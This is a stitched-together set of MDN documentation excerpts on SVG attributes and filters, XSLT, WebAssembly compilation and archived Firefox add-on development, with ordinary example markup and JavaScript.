as a presentation attribute, it can be applied to any element but it has effect only on the following twelve elements: <altglyph>, <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- simple color stroke --> <circle cx="5" cy="5" r="4" fill="none" stroke="green" /> <!-- stroke a circle with a gradient --> <defs> <lineargradient id="mygradient"> <stop offset="0%" stop-color="green" /> <stop offset="100%" stop-color="white" /> </lineargradient> </defs> <circle cx="15" cy="5" r="4" fill="none" ...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
text-anchor - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following five elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <!-- materialisation of anchors --> <path d="m60,15 l60,110 m30,40 l90,40 m30,75 l90,75 m30,110 l90,110" stroke="grey" /> <!-- anchors in action --> <text text-anchor="start" x="60" y="40">a</text> <text text-anchor="middle" x="60" y="75">a</text> <text text-anchor="end" x="60" y="110">a</text> <!-- materialisation of anchors --> <circle cx="60" cy="40" r...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
text-rendering - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following element: <text> html, body, svg { height: 100%; } <svg viewbox="0 0 140 40" xmlns="http://www.w3.org/2000/svg"> <text y="15" text-rendering="geometricprecision">geometric precision</text> <text y="35" text-rendering="optimizelegibility">optimized legibility</text> </svg> usage notes value auto | optimizespeed | optimizelegibility | geometricprecision default value auto animatable yes auto this value indicates that the user agent...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
textLength - SVG: Scalable Vector Graphics
four elements are using this attribute: <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 200 60" xmlns="http://www.w3.org/2000/svg"> <text y="20" textlength="6em">small text length</text> <text y="40" textlength="120%">big text length</text> </svg> usage notes value <length-percentage> | <number> default value none animatable yes <length-percentage> this value specifies the width of the space the text will be adjusted to occupy as absolute length or...
... <svg width="10cm" height="3cm" viewbox="0 0 1000 300" xmlns="http://www.w3.org/2000/svg"> <rect x="1" y="1" width="998" height="298" fill="none" stroke="green" stroke-width="2"/> <text id="hello" x="10" y="150" font-family="sans-serif" font-size="60" fill="green"> hello world!
viewBox - SVG: Scalable Vector Graphics
WebSVGAttributeviewBox
html,body,svg { height:100% } svg:not(:root) { display: inline-block; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- with relative unit such as percentage, the visual size of the square looks unchanged regardless of the viewbox --> <rect x="0" y="0" width="100%" height="100%"/> <!-- with a large viewbox the circle looks small as it is using user units for the r attribute: 4 resolved against 100 as set in the viewbox --> <circle cx="50%" cy="50%" r="4" fill="wh...
...ite"/> </svg> <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <!-- with relative unit such as percentage, the visual size of the square looks unchanged regardless of the viewbox` --> <rect x="0" y="0" width="100%" height="100%"/> <!-- with a small viewbox the circle looks large as it is using user units for the r attribute: 4 resolved against 10 as set in the viewbox --> <circle cx="50%" cy="50%" r="4" fill="white"/> </svg> <svg viewbox="-5 -5 10 10" xmlns="http://www.w3.org/2000/svg"> <!-- the point of coordinate 0,0 is now in the center of the viewport, and 100% is still resolve to a width or height of 10 user units so the rectangle looks shifted to the bottom/right corner of the viewport --> <rect x="0" y="0" width="100%" height="100%"/> ...
visibility - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following nineteen elements: <a>, <altglyph>, <audio>, <canvas>, <circle>, <ellipse>, <foreignobject>, <iframe>, <image>, <line>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, <tspan>, <video> html, body, svg { height: 100%; } <svg viewbox="0 0 220 120" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="200" height="100" stroke="black" stroke-width="5" fill="transparent" /> <g stroke="seagreen" stroke-width="5" fill="skyblue"> <rect x="20" y="20" width="80" height="80" visibility="visible" /> <rect x="120" y="20" width="80" height="80" visibility="hidden"/> </g> </svg> usage notes value visible | hidden | col...
... html <button id="nav-toggle-button" > <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" class="button-icon"> <path d="m16.59 8.59l12 13.17 7.41 8.59 6 10l6 6 6-6z" /> <path d="m12 8l-6 6 1.41 1.41l12 10.83l4.59 4.58l18 14z" class="invisible" /> <path d="m0 0h24v24h0z" fill="none" /> </svg> <span> click me </span> </button> css svg { display: inline !important; } span { vertical-align: 50%...
Content type - SVG: Scalable Vector Graphics
for example, an svg file called somedrawing.svg located at http://example.com might have the following iri: http://example.com/somedrawing.svg an iri can also address a particular element within an xml document by including an iri fragment identifier as part of the iri.
...for example, the following iri can be used to specify the element whose id is "lamppost" within file somedrawing.svg: http://example.com/somedrawing.svg#lamppost iris are used in the xlink:href attribute.
<a> - SVG: Scalable Vector Graphics
WebSVGElementa
@namespace svg url(http://www.w3.org/2000/svg); html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- a link around a shape --> <a href="/docs/web/svg/element/circle"> <circle cx="50" cy="40" r="35"/> </a> <!-- a link around a text --> <a href="/docs/web/svg/element/text"> <text x="50" y="90" text-anchor="middle"> &lt;circle&gt; </text> </a> </svg> /* as svg does not provide a default visual style for links, it's consi...
...dered best practice to add some */ @namespace svg url(http://www.w3.org/2000/svg); /* necessary to select only svg <a> elements, and not also html’s.
<feGaussianBlur> - SVG: Scalable Vector Graphics
example simple example svg <svg width="230" height="120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <filter id="blurme"> <fegaussianblur in="sourcegraphic" stddeviation="5" /> </filter> <circle cx="60" cy="60" r="50" fill="green" /> <circle cx="170" cy="60" r="50" fill="green" filter="url(#blurme)" /> </svg> result screenshotlive sample drop shadow example svg <svg width="120" height="120" xmlns=...
..."http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <filter id="dropshadow"> <fegaussianblur in="sourcealpha" stddeviation="3" /> <feoffset dx="2" dy="4" /> <femerge> <femergenode /> <femergenode in="sourcegraphic" /> </femerge> </filter> <circle cx="60" cy="60" r="50" fill="green" filter="url(#dropshadow)" /> </svg> result screenshotlive sample specifications specification status comment filter effects module level 1the definition of '<fegaussianblur>' in that specification.
<feMorphology> - SVG: Scalable Vector Graphics
examples filtering svg content svg <svg xmlns="http://www.w3.org/2000/svg" width="300" height="180"> <filter id="erode"> <femorphology operator="erode" radius="1"/> </filter> <filter id="dilate"> <femorphology operator="dilate" radius="2"/> </filter> <text y="1em">normal text</text> <text id="thin" y="2em">thinned text</text> <text id="thick" y="3em">fattened text</text> </svg> css text { font-family: arial, helvetica, s...
...ans-serif; font-size: 3em; } #thin { filter: url(#erode); } #thick { filter: url(#dilate); } filtering html content svg <svg xmlns="http://www.w3.org/2000/svg" width="0" height="0"> <filter id="erode"> <femorphology operator="erode" radius="1"/> </filter> <filter id="dilate"> <femorphology operator="dilate" radius="2"/> </filter> </svg> <p>normal text</p> <p id="thin">thinned text</p> <p id="thick">fattened text</p> css p { margin: 0; font-family: arial, helvetica, sans-serif; font-size: 3em; } #thin { filter: url(#erode); } #thick { filter: url(#dilate); } specifications specification status comment filter effects module level 1the definition of '<femorphology>' in that specification.
Linking - SVG: Scalable Vector Graphics
WebSVGLinking
when svg documents are embedded within a parent html document using the tag: page1.html: <html> <body> <p>this is a svg button:</p> <object width="100" height="50" type="image/svg+xml" data="button.svg"/> </body> </html> button.svg: <?xml version="1.1" encoding="utf-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <a xlink:href="page2.html" target="_top"> <g> <!-- button graphical elements here --> </g> </a> </svg> the specification says that the browser should navigate to the html document page2.html when the button graphics are clicked.
... to get around this, requires a little ugly javascript hacking: button.svg: <?xml version="1.1" encoding="utf-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <g onclick="top.document.href='page2.html'" cursor="pointer"> <!-- button graphical elements here --> </g> </svg> example for an example of this solution at work see www.codedread.com.
Example - SVG: Scalable Vector Graphics
view the example <?xml version='1.0'?> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg"> <head> <title>a swarm of motes</title> <style type='text/css'> <![cdata[ label, input { width: 150px; display: block; float: left; margin-bottom: 10px; } label { text-align: right; width: 75px; padding-right: 20px; } br { clear: left; } ]]> </style> </head> <body onload='update()'> ...
... if( this.elt === null ) { var svg = 'http://www.w3.org/2000/svg'; this.elt = document.createelementns(svg,'line'); this.elt.setattributens(null,'stroke','green'); this.elt.setattributens(null,'stroke-width','3'); this.elt.setattributens(null,'stroke-opacity','0.5'); display().appendchild( this.elt ); } this.elt.setattributens(null,'x1',old_x); this.elt.setattributens(null,'y1',old_y); this.elt.setattribu...
SVG and CSS - SVG: Scalable Vector Graphics
copy and paste the content from here, making sure that you scroll to get all of it: <svg width="600px" height="600px" viewbox="-300 -300 600 600" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <title>svg demonstration</title> <desc>mozilla css getting started - svg demonstration</desc> <defs> <radialgradient id="fade" cx="0" cy="0" r="200" gradientunits="userspaceonuse"> <stop id="fade-stop-1" offset="33%"/> <stop id="fade-stop-2" offset="95%"/> </radialgradient> </defs> <text id...
... <svg width="600px" height="600px" viewbox="-300 -300 600 600" xmlns="http://www.w3.org/2000/svg"> <title>svg demonstration</title> <desc>mozilla css getting started - svg demonstration</desc> <defs> <g id="segment" class="segment"> <path class="segment-fill" d="m0,0 v-200 a40,40 0 0,0 -62,10 z"/> <path class="segment-edge" d="m0,-200 a40,40 0 0,0 -62,10"/> </g> <g id="quadrant"> <use xlink:href="#segment"/> <use xlink:href="#...
mimeTypes.rdf corruption - SVG: Scalable Vector Graphics
for files loaded over the network via http, it requires and uses the value assigned to the content-type http header.
...actually, in mozilla firefox 1.5, the media type for files embedded into html using the html <embed> and <object> tags is (unfortunately) obtained in the same way as it's obtained for local files instead of using the http headers as it should.
Secure contexts - Web security
locally-delivered resources such as those with http://127.0.0.1 urls, http://localhost urls (under certain conditions), and file:// urls are also considered to have been delivered securely.
... resources that are not local, to be considered secure, must meet the following criteria: must be served over https:// or wss:// urls the security properties of the network channel used to deliver the resource must not be considered deprecated feature detection pages can use feature detection to check whether they are in a secure context or not by using the issecurecontext boolean, which is exposed on the global scope.
<xsl:stylesheet> - XSLT: Extensible Stylesheet Language Transformations
typically this is xmlns:xsl="http://www.w3.org/1999/xsl/transform".
... syntax <xsl:stylesheet version="number" xmlns:xsl="http://www.w3.org/1999/xsl/transform" id="name" extension-element-prefixes="list-of-names" exclude-result-prefixes="list-of-names"> entire stylesheet </xsl:stylesheet> required attributes version specifies the version of xslt required by this stylesheet.
Index - XSLT: Extensible Stylesheet Language Transformations
WebXSLTIndex
this can be done via xmlhttprequest or xmldocument.load().
... 15 for further reading needscontent, needshelp, transforming_xml_with_xslt, xml, xslt http://www.amazon.com/xslt-programme.../dp/0764543814 16 resources extensions, needscontent, needsexample, needslivesample, xml, xsl no summary!
Advanced Example - XSLT: Extensible Stylesheet Language Transformations
div id="example"> <div>1</div> <div>2</div> <div>3</div> <div>4</div> <div>5</div> <div>6</div> <div>7</div> <div>8</div> <div>9</div> <div>10</div> </div> // javascript var xslref; var xslloaded = false; var xsltprocessor = new xsltprocessor(); var mydom; var xmlref = document.implementation.createdocument("", "", null); function sort() { if (!xslloaded){ p = new xmlhttprequest(); p.open("get", "example2.xsl", false); p.send(null); xslref = p.responsexml; xsltprocessor.importstylesheet(xslref); xslloaded = true; } // create a new xml document in memory xmlref = document.implementation.createdocument("", "", null); // we want to move a part of the dom from an html document to an xml document.
...iate the transformation var fragment = xsltprocessor.transformtofragment(xmlref, document); // clear the contents document.getelementbyid("example").innerhtml = ""; mydom = fragment; // add the new content from the transformation document.getelementbyid("example").appendchild(fragment) } // xsl stylesheet: <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns="http://www.w3.org/1999/xhtml" xmlns:html="http://www.w3.org/1999/xhtml" xmlns:xsl="http://www.w3.org/1999/xsl/transform"> <xsl:output method="html" indent="yes" /> <xsl:param name="myorder" /> <xsl:template match="/"> <xsl:apply-templates select="/div//div"> <xsl:sort select="." data-type="number" order="{$myorder}" /> </xsl:apply-templates> </xsl:template> <xsl:template ma...
JavaScript/XSLT Bindings - XSLT: Extensible Stylesheet Language Transformations
this can be done via xmlhttprequest or xmldocument.load().
... figure 1 : instantiating an xsltprocessor var xsltprocessor = new xsltprocessor(); // load the xsl file using synchronous (third param is set to false) xmlhttprequest var myxmlhttprequest = new xmlhttprequest(); myxmlhttprequest.open("get", "example.xsl", false); myxmlhttprequest.send(null); var xslref = myxmlhttprequest.responsexml; // finally import the .xsl xsltprocessor.importstylesheet(xslref); for the actual transformation, xsltprocessor requires an xml document, which is used in conjunction with the imported xsl file to produce the final result.
Compiling a New C/C++ Module to WebAssembly - WebAssembly
prerequisites get the emscripten sdk, using these instructions: https://emscripten.org/docs/getting_started/downloads.html compiling an example with the environment set up, let's look at how to use it to compile a c example to emscripten.
...you need to run your html file through an http server (http://) — see how do you set up a local testing server?
Compiling from Rust to WebAssembly - WebAssembly
open this file, and change its contents to look like this: [package] name = "hello-wasm" version = "0.1.0" authors = ["your name <you@example.com>"] description = "a sample project with wasm-pack" license = "mit/apache-2.0" repository = "https://github.com/yourgithubusername/hello-wasm" [lib] crate-type = ["cdylib"] [dependencies] wasm-bindgen = "0.2" fill in your own repository and use the same info that git uses for the authors field.
...load http://localhost:8080 and an alert box appears on the screen, with hello, webassembly!
Reddit Example - Archive of obsolete content
this is the complete add-on script: var data = require("sdk/self").data; var button = require("sdk/ui/button/action").actionbutton({ id: "reddit-panel", label: "reddit panel", icon: "./icon-16.png", onclick: function() { reddit_panel.show(); } }); var reddit_panel = require("sdk/panel").panel({ width: 240, height: 320, contenturl: "http://www.reddit.com/.mobile?keep_extension=true", contentscriptfile: [data.url("jquery-2.1.0.min.js"), data.url("panel.js")] }); reddit_panel.port.on("click", function(url) { require("sdk/tabs").open(url); }); this code supplies two content scripts to the panel's constructor in the contentscriptfile option: the jquery library and the script that intercepts link clicks.
Getting Started - Archive of obsolete content
this page is now maintained alongside the sdk code itself: https://github.com/mozilla/gecko-dev/blob/master/addon-sdk/source/contributing.md.
page-mod - Archive of obsolete content
you can specify a url exactly: var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://www.iana.org/domains/example/", contentscript: 'window.alert("page matches ruleset");' }); you can specify a number of wildcard forms, for example: var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscript: 'window.alert("matched!");' }); you can specify a set of urls using a regular expression.
core/promise - Archive of obsolete content
lets see the implementation of readasync that we used in several of the examples above: const { defer } = require('sdk/core/promise'); function readasync(url) { var deferred = defer(); let xhr = new xmlhttprequest(); xhr.open("get", url, true); xhr.onload = function() { deferred.resolve(xhr.responsetext); }; xhr.onerror = function(event) { deferred.reject(event); }; xhr.send(); return deferred.promise; } so defer returns an object that contains a promise and two resolve, reject functions that can be used to resolve / reject that promise.
frame/hidden-frame - Archive of obsolete content
the following code creates a hidden frame, loads a web page into it, and then logs its title: var hiddenframes = require("sdk/frame/hidden-frame"); let hiddenframe = hiddenframes.add(hiddenframes.hiddenframe({ onready: function() { this.element.contentwindow.location = "http://www.mozilla.org/"; let self = this; this.element.addeventlistener("domcontentloaded", function() { console.log(self.element.contentdocument.title); }, true, true); } })); see the panel module for a real-world example of usage of this module.
places/history - Archive of obsolete content
example let { search } = require("sdk/places/history"); // simple query search( { url: "https://developers.mozilla.org/*" }, { sort: "visitcount" } ).on("end", function (results) { // results is an array of objects containing // data about visits to any site on developers.mozilla.org // ordered by visit count }); // complex query // the query objects are or'd together // let's say we want to retrieve all visits from before a week ago // with the query of 'ruby', but from last week onwards, we want // all results with ...
system/events - Archive of obsolete content
var events = require("sdk/system/events"); var { ci } = require("chrome"); function listener(event) { var channel = event.subject.queryinterface(ci.nsihttpchannel); channel.setrequestheader("user-agent", "mybrowser/1.0", false); } events.on("http-on-modify-request", listener); globals functions emit(type, event) send an event to observer service parameters type : string the event type.
cfx to jpm - Archive of obsolete content
there is a known bug in simple options handling which may require the workaround described in https://bug635044.bugzilla.mozilla.org/show_bug.cgi?id=1243467 commands and command options permanently removed commands jpm has dropped support for all the "internal" cfx commands.
Displaying annotations - Archive of obsolete content
annotation panel html <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>annotation</title> <style media="all" type="text/css"> body { font: 100% arial, helvetica, sans-serif; background-color: #f5f5f5; } div { text-align:left; } </style> </head> <body> <div id="annotation"> </div> </body> </html> save ...
Storing annotations - Archive of obsolete content
annotation list html and css here's the html for the annotation list: <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>saved annotations</title> <link rel="stylesheet" type="text/css" href="annotation-list.css" /> </head> <body> <div id="annotation-list"> </div> <div id="template"> <div class="annotation-details"> <a class="url"></a> <div class="selection-text"></div> <div class="annotation-text"></div> </div> </div> </body>...
Creating Event Targets - Archive of obsolete content
for example, you can listen to the panel object's show event either by calling: mypanel.on("show", listenerfunction); or by passing the onshow option to panel's constructor: var mypanel = require("sdk/panel").panel({ onshow: listenerfunction, contenturl: "https://en.wikipedia.org/w/index.php" }); if your class inherits from eventtarget, options like this are automatically handled for you.
List Open Tabs - Archive of obsolete content
you'll see output in the command line console that looks something like this: info: http://www.mozilla.org/about/ info: http://www.bbc.co.uk/ you don't get direct access to any content hosted in the tab.
Developing for Firefox Mobile - Archive of obsolete content
rvice supported stylesheet/style supported stylesheet/utils supported system/environment supported system/events supported system/runtime supported system/unload supported system/xul-app supported tabs/utils supported test/assert supported test/harness supported test/httpd supported test/runner supported test/utils supported ui/button/action not supported ui/button/toggle not supported ui/frame not supported ui/id supported ui/sidebar not supported ui/toolbar not supported util/array supported util/collection supported util/deprecate ...
Modifying Web Pages Based on URL - Archive of obsolete content
to modify any pages that match a particular pattern (for example, "http://example.org/") as they are loaded, use page-mod module.
Bootstrapped extensions - Archive of obsolete content
there are three changes you must make: you have to change the html file's extension to be .xhtml the doctype must be defined point to a dtd file in your locale folder such as: <!doctype html system "chrome://l10n/locale/mozilla.dtd"> must add xmlns attribute to html tag for example: <html xmlns="http://www.w3.org/1999/xhtml"> if you have multiple dtd files read on here: using multiple dtds the bare minimum needed is: file: install.rdf file: chrome.manifest file: bootstrap.js folder: locale folder: valid_locale_here file: anything.dtd the chrome.manifest file must include a definition for content for example: content name_of_your_addon ./ the chrome.ma...
Canvas code snippets - Archive of obsolete content
remotecanvas = function() { this.url = 'http://developer.mozilla.org'; }; remotecanvas.canvas_width = 300; remotecanvas.canvas_height = 300; remotecanvas.prototype.load = function() { var windowwidth = window.innerwidth - 25; var iframe; iframe = document.createelement('iframe'); iframe.id = 'test-iframe'; iframe.height = '10px'; iframe.width = windowwidth + 'px'; iframe.style.visibility = 'hidden'; iframe.
Cookies - Archive of obsolete content
services.cookies.add(".host.example.com", "/cookie-path", "cookie_name", "cookie_value", is_secure, is_http_only, is_session, expiry_date); see also document.cookie nsicookie nsicookie2 nsicookieservice nsicookiemanager nsicookiemanager2 http cookies ...
Customizing the download progress bar - Archive of obsolete content
ng (replacing "myextension" with the name of your extension's chrome package): % overlay chrome://mozapps/content/downloads/downloads.xul chrome://myextension/content/downloads-overlay.xul in downloads-overlay.xul, reference the new stylesheet: <?xml version="1.0"?> <?xml-stylesheet href="chrome://myextension/skin/myextension.css" type="text/css"?> <overlay id="mydownloadoverlay" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> </overlay> in jar.mn, make sure that there is an asterisk in front of the entry for myextension.css so that it will be preprocessed.
Downloading Files - Archive of obsolete content
function getimagefromurl(url) { var ioserv = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var channel = ioserv.newchannel(url, 0, null); var stream = channel.open(); if (channel instanceof components.interfaces.nsihttpchannel && channel.responsestatus != 200) { return ""; } var bstream = components.classes["@mozilla.org/binaryinputstream;1"] .createinstance(components.interfaces.nsibinaryinputstream); bstream.setinputstream(stream); var size = 0; var file_data = ""; while(size = bstream.available()) { file_data += bstream.readbytes(size); } return file_data; } see al...
File I/O - Archive of obsolete content
var file = url.queryinterface(components.interfaces.nsifileurl).file; // file is a nsifile to load from file://, http://, chrome://, resource:// and other urls directly, use xmlhttprequest or netutil.asyncfetch().
IsDefaultNamespace - Archive of obsolete content
// http://www.w3.org/tr/dom-level-3-core/core.html#node3-isdefaultnamespace // http://www.w3.org/tr/dom-level-3-core/namespaces-algorithms.html#isdefaultnamespacealgo function isdefaultnamespace(node, namespaceuri) { if (node.isdefaultnamespace) { return node.isdefaultnamespace(namespaceuri); } switch (node.nodetype) { case 1: // element_node if (!node.prefix) { return (node.namespaceuri === namespaceuri); } ...
LookupNamespaceURI - Archive of obsolete content
lookupnamespaceuri(doc); addlookupnamespaceuri(element); function addlookupnamespaceuri (type) { if (!type.prototype.lookupnamespaceuri) { type.prototype.lookupnamespaceuri = lookupnamespaceuri; } function lookupnamespaceuri (prefix) { return lookupnamespaceurihelper(this, prefix); } function lookupnamespaceurihelper (node, prefix) { // adapted directly from http://www.w3.org/tr/dom-level-3-core/namespaces-algorithms.html#lookupnamespaceurialgo var i, att, htmlmode = document.contenttype, // mozilla only xmlnspattern = /^xmlns:(.*)$/; switch (node.nodetype) { case 1: // element_node (could also just test for node.element_node, etc., if supported in all browsers) if (node.namespaceuri != ...
LookupPrefix - Archive of obsolete content
function lookupprefix (node, namespaceuri) { var htmlmode = document.contenttype; // mozilla only // depends on private function _lookupnamespaceprefix() below and on https://developer.mozilla.org/en/code_snippets/lookupnamespaceuri // http://www.w3.org/tr/dom-level-3-core/core.html#node3-lookupnamespaceprefix // http://www.w3.org/tr/dom-level-3-core/namespaces-algorithms.html#lookupnamespaceprefixalgo // (the above had a few apparent 'bugs' in the pseudo-code which were corrected here) if (node.lookupprefix && htmlmode !== 'text/html') { // shouldn't use this ...
Post data to window - Archive of obsolete content
need more elaborate examples, examples of displaying the response in a new tab, in background tabs, and a link to using xmlhttprequest for post requests.
Preferences - Archive of obsolete content
javascript wrappers for preferences system there are a few javascript wrappers to make your life easier: http://mozilla.doslash.org/prefutils chrome://global/content/nsusersettings.js https://wiki.mozilla.org/labs/js_modules how to save preferences to save preferences into the default location: var prefservice = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice); prefservice.savepreffile(null); checking for ex...
Scrollbar - Archive of obsolete content
example xul window: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="samplewindow" width="320" height="240" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> <hbox flex="1"> <browser type="content" src="http://mozilla.org" flex="1"/> <scrollbar orient="vertical"/> </hbox> </window> ...
Sidebar - Archive of obsolete content
for example, use this in your sidebar's unload event handler: mainwindow.document.getelementbyid("sidebar-splitter").hidden = mainwindow.document.getelementbyid("sidebar-box").hidden; see also bootstrap demo addon that creates a sidebar with html content: https://gist.github.com/noitidart/8728393 ...
Tabbox - Archive of obsolete content
examples: .tabs-closebutton { list-style-image: url(http://mozilla.org/favicon.ico); } .tabs-closebutton { list-style-image: url("chrome://global/skin/icons/close.gif"); } ...
Windows - Archive of obsolete content
var hr = document.createelementns("http://www.w3.org/1999/xhtml", "html:hr"); document.getelementbyid("id1").appendchild(hr); ...
XML-related code snippets - Archive of obsolete content
how to create a dom tree using xmlhttprequest parsing and serializing xml using xpath jxon (lossless javascript xml object notation) xsl transforms xlink xinclude xml:id xml:base support in old browsers xpointer svg namespaces, or why http://www.mozilla.org/keymaster/gat...re.is.only.xul is at the top of every xul document.
Custom about: URLs - Archive of obsolete content
const {classes: cc, interfaces: ci, manager: cm, results: cr, utils: cu, constructor: cc} = components; cm.queryinterface(ci.nsicomponentregistrar); components.utils.import("resource://gre/modules/services.jsm"); // globals const aboutpage_description = 'this is my custom about page'; const aboutpage_id = 'aa132730-2278-11e5-867f-0800200c9a66'; // make sure you generate a unique id from https://www.famkruithof.net/uuid/uuidgen const aboutpage_word = 'myaboutpage' const aboutpage_uri = 'data:text/html,hi this is the page that is shown when navigate to about:myaboutpage'; // const aboutpage_uri = 'chrome://myaboutaddon/content/index.html'; class aboutpage { static get classid() { return components.id(`{${aboutpage_id}}`); } static get classdescription() { return aboutpage_descrip...
Downloading JSON and JavaScript in extensions - Archive of obsolete content
a common practice found in many extensions is using xmlhttprequest (or some other mechanism) to download javascript or json (they are different) from a remote website.
Installing Extensions and Themes From Web Pages - Archive of obsolete content
(aevent) { for (var a = aevent.target; a.href === undefined;) a = a.parentnode; var params = { "foo": { url: aevent.target.href, iconurl: aevent.target.getattribute("iconurl"), hash: aevent.target.getattribute("hash"), tostring: function () { return this.url; } } }; installtrigger.install(params); return false; } //--> </script> <a href="http://www.example.com/foo.xpi" iconurl="http://www.example.com/foo.png" hash="sha1:28857e60d043447c5f4550853f2d40770b326a13" onclick="return install(event);">install extension!</a> let's go through this piece by piece.
Interaction between privileged and non-privileged pages - Archive of obsolete content
* @see <https://developer.mozilla.org/docs/code_snippets/ * interaction_between_privileged_and_non-privileged_pages#security_notes> */ function geteventdata(event) { if (event.target.ownerdocument != targetdoc) throw "event from unexpected source"; return new xml(event.target.getattribute("eventdatafrompage")); } security notes never invoke the web page's javascript functions from your extensio...
Jetpack Processes - Archive of obsolete content
these arbitrary properties are the primary means through which context can be provided for messages; for instance, if the handle is meant to represent a network request, an xmlhttprequest instance can be attached to the handle on the chrome process.
Offering a context menu for form controls - Archive of obsolete content
<overlay id="formcontrolcontextmenu-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://formcontrolcontextmenu/content/overlay.js"/> </overlay> change the right-click behavior the overlaid code is responsible for adjusting the behavior of right-clicking on form controls.
Chapter 1: Introduction to Extensions - Archive of obsolete content
this lowers the threshold both to using and to developing extensions; that fact, combined with firefox's rapidly growing popularity, has created a positive feedback loop, with the number of extension users and extension developers growing explosively—there are now more than 7000 extensions and themes published at the firefox add-ons site (https://addons.mozilla.org).
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
the namespace uri for xhtml is "http://www.w3.org/1999/xhtml" ; for svg is it "http://www.w3.org/2000/svg".
Adding Events and Commands - Archive of obsolete content
another way to attach event handlers, just like html, is to place the handler in the xul code: <overlay id="xulschoolhello-browser-overlay" onload="xulschoolchrome.browseroverlay.init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> we prefer the first method because it keeps a better separation of content and behavior.
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
<overlay id="xulschoolhello-browser-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="xulschoolhello-hello-world-button" class="toolbarbutton-1 chromeclass-toolbar-additional" label="&xulschoolhello.helloworld.label;" tooltiptext="&xulschoolhello.helloworld.tooltip;" oncommand="xulschoolchrome.browseroverlay.dosomething(event);" />...
Adding windows and dialogs - Archive of obsolete content
<dialog id="xulschoolhello-hello-dialog" title="&xulschoolhello.hellodialog.title;" buttons="accept,cancel" ondialogaccept="return xulschoolchrome.hellodialog.accept();" ondialogcancel="return xulschoolchrome.hellodialog.cancel();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> carefully read the specification of the dialog element.
Appendix A: Add-on Performance - Archive of obsolete content
never use xmlhttprequest in synchronous mode.
Custom XUL Elements with XBL - Archive of obsolete content
<bindings xmlns="http://www.mozilla.org/xbl" xmlns:xbl="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> the bindings element is the root of the document, and it's a container for binding elements.
JavaScript Object Management - Archive of obsolete content
creating an instance and using it is simple enough: let user = new 〈modulenamespace〉.user("pete", "http://example.com/pete"); window.alert(user.name); this is something you can do with js in general.
Local Storage - Archive of obsolete content
don't log inside functions that are called too often, such as mouseover event handlers, or certain http activity listeners.
The Box Model - Archive of obsolete content
xulschoolhello.linkedtext.label = go to <html:a onclick="%s">our site</html:a> for more information to include html in a xul document, you need to add the namespace for it in the document root: <overlay id="xulschoolhello-browser-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml"> then you can have an html:p (paragraph) element where you insert the result of parsing the property string.
Performance best practices in extensions - Archive of obsolete content
never use synchronous xmlhttprequests.
Setting up an extension development environment - Archive of obsolete content
devprefs can now be found at https://github.com/noitidart/devprefs.
Using Dependent Libraries In Extension Components - Archive of obsolete content
nsgetmoduleproc getmoduleproc = (nsgetmoduleproc)lookupsymbol(componentlib, "_nsgetmodule"); if (!getmoduleproc) return ns_error_failure; return getmoduleproc(acompmgr, alocation, aresult); } // convienience method grabbed from // http://mxr.mozilla.org/mozilla-central/source/xpcom/glue/standalone/nsgluelinkingosx.cpp .
XUL user interfaces - Archive of obsolete content
